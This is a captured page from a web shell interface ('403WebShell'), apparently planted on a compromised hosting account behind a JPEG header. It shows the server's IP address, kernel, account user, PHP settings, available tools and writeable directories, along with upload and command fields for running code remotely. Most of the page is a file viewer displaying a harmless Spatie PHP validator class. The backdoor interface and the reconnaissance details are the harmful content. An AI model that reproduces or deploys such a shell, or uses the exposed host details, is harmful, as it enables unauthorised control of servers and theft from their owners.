����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.224.137.108
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/cbt.bofirm.com/vendor/spatie/data-transfer-object/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/cbt.bofirm.com/vendor/spatie/data-transfer-object/src/PropertyFieldValidator.php
<?php

declare(strict_types=1);

namespace Spatie\DataTransferObject;

use ReflectionNamedType;
use ReflectionProperty;

class PropertyFieldValidator extends FieldValidator
{
    public function __construct(ReflectionProperty $property)
    {
        $this->hasTypeDeclaration = $property->hasType();
        $this->hasDefaultValue = $property->isDefault();
        $this->isNullable = $this->resolveAllowsNull($property);
        $this->isMixed = $this->resolveIsMixed($property);
        $this->isMixedArray = $this->resolveIsMixedArray($property);
        $this->allowedTypes = $this->resolveAllowedTypes($property);
        $this->allowedArrayTypes = $this->resolveAllowedArrayTypes($property);
        $this->allowedArrayKeyTypes = [];
    }

    private function resolveAllowsNull(ReflectionProperty $property): bool
    {
        if (! $property->getType()) {
            return true;
        }

        return $property->getType()->allowsNull();
    }

    private function resolveIsMixed(ReflectionProperty $property): bool
    {
        return $property->hasType() === false;
    }

    private function resolveIsMixedArray(ReflectionProperty $property): bool
    {
        $reflectionType = $property->getType();

        if (! $reflectionType instanceof ReflectionNamedType) {
            return false;
        }

        // We cast to array to support future union types in PHP 8
        $types = [$reflectionType];

        foreach ($types as $type) {
            if (in_array($type->getName(), ['iterable', 'array'])) {
                return true;
            }
        }

        return false;
    }

    private function resolveAllowedTypes(ReflectionProperty $property): array
    {
        // We cast to array to support future union types in PHP 8
        $types = [$property->getType()
            ? $property->getType()->getName()
            : null, ];

        return $this->normaliseTypes(...$types);
    }

    private function resolveAllowedArrayTypes(ReflectionProperty $property): array
    {
        // We cast to array to support future union types in PHP 8
        $types = $property->getType()
            ? $this->resolveAllowedArrayTypesFromCollection($property->getType()->getName())
            : [];

        return $this->normaliseTypes(...$types);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit